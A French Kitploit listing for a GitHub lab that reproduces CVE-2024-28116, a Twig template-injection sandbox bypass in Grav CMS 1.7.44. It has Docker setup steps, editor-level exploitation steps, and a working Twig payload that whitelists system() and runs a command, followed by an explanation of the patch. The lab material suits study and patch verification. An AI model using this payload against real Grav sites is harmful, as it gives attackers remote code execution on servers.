Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
grav-cve-2024-28116 — Analyse et reproduction Docker de CVE-2024-28116 - SSTI avec contournement de sandbox dans Grav CMS | Kitploit
Outils/GitHubGitHub/bebarossi/grav-cve-2024-28116
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebApprentissage et ÉducationLabs et Pratique
GitHubbebarossi/grav-cve-2024-28116

grav-cve-2024-28116

Analyse et reproduction Docker de CVE-2024-28116 - SSTI avec contournement de sandbox dans Grav CMS

Voir le dépôt
8il y a 21 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-28116 — SSTI avec contournement du sandbox dans Grav CMS

Analyse et reproduction Docker de CVE-2024-28116, une vulnérabilité d'injection de modèles côté serveur (Server-Side Template Injection) avec contournement du sandbox de sécurité dans Grav CMS dans les versions jusqu'à 1.7.44 incluse, corrigée dans la version 1.7.45.

Signalée par : Maurizio Siddu (akabe1)
Score CVSS v3.1 : 8.8 (Élevé)
Corrigée dans : Grav CMS 1.7.45


Structure du dépôt

  • vulnerable
    • Dockerfile # Grav CMS 1.7.44 (vulnérable)
    • apache.conf # Configuration Apache
  • patched
    • Dockerfile # Grav CMS 1.7.45 (corrigée)
    • apache.conf # Configuration Apache
  • CVE-2024-28116_Report.pdf

Prérequis

  • Docker Desktop installé et en cours d'exécution sur macOS
  • Aucune autre dépendance requise — tout est installé dans le conteneur

Comment exécuter l'environnement vulnérable (Grav 1.7.44)

root@kitploit:~
cd vulnerable
docker build -t grav-vulnerable .
docker run -d -p 8080:80 --name grav-test grav-vulnerable

Ouvrez votre navigateur sur http://localhost:8080/admin et créez un compte administrateur lors du premier accès.


Comment reproduire l'exploit

  1. Dans le panneau d'administration, créez un deuxième compte utilisateur avec uniquement des permissions d'éditeur (Login to Site, Login to Admin et Pages définis sur Allowed — tout le reste sur Not set)
  2. Ouvrez une fenêtre de navigation privée et connectez-vous en tant qu'éditeur sur http://localhost:8080/admin
  3. Allez dans Pages → Add Page, définissez le titre sur test page, puis cliquez sur Continue
  4. Dans l'onglet Advanced, activez le traitement Twig en cochant à la fois Markdown et Twig sous Process
  5. Dans l'onglet Content, collez la charge utile suivante :
root@kitploit:~
{% set arr = {'1':'system', '2':'foo'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_functions', arr)) }}
{{ system('id') }}
  1. Cliquez sur Save
  2. Ouvrez un onglet de navigateur normal et visitez http://localhost:8080/test-page
  3. Le serveur affichera l'intégralité de l'objet de configuration Grav et, tout en bas, montrera : uid=33(www-data) gid=33(www-data) groups=33(www-data)

Cela confirme l'exécution de code à distance en tant qu'utilisateur du serveur web.


Comment exécuter l'environnement corrigé (Grav 1.7.45)

root@kitploit:~
docker stop grav-test
cd ../patched
docker build -t grav-patched .
docker run -d -p 8081:80 --name grav-patched grav-patched

Ouvrez votre navigateur sur http://localhost:8081/admin et répétez toutes les étapes d'exploitation ci-dessus, en ciblant http://localhost:8081/test-page.

La page sera complètement vide. La méthode cleanDangerousTwig() dans Security.php détecte et bloque la directive twig.safe_functions avant qu'elle n'atteigne le moteur Twig. La liste blanche n'est jamais modifiée et la commande n'est jamais exécutée.


Comment fonctionne la vulnérabilité

La vulnérabilité se situe dans system/src/Grav/Common/Twig.php. Grav implémente un sandbox pour empêcher l'appel de fonctions PHP dangereuses dans les modèles Twig, sur la base d'une liste noire contrôlée par isDangerousFunction(). Cependant, le sandbox ne protège pas l'objet Twig lui-même. Un utilisateur de niveau éditeur peut interagir avec l'objet Twig via des directives de modèle spécialement conçues et écraser la liste blanche system.twig.safe_functions à l'exécution. Une fois qu'une fonction dangereuse telle que system() est ajoutée à la liste blanche, le contrôle du sandbox est contourné et la fonction s'exécute librement.


Le correctif

Le correctif ajoute 'twig.safe_functions' à la liste des motifs bloqués dans la méthode cleanDangerousTwig() de system/src/Grav/Common/Security.php. Toute directive contenant cette chaîne est neutralisée avant d'atteindre le moteur Twig, ce qui rend impossible pour un éditeur de modifier la liste blanche depuis un modèle.

Télécharger l’outil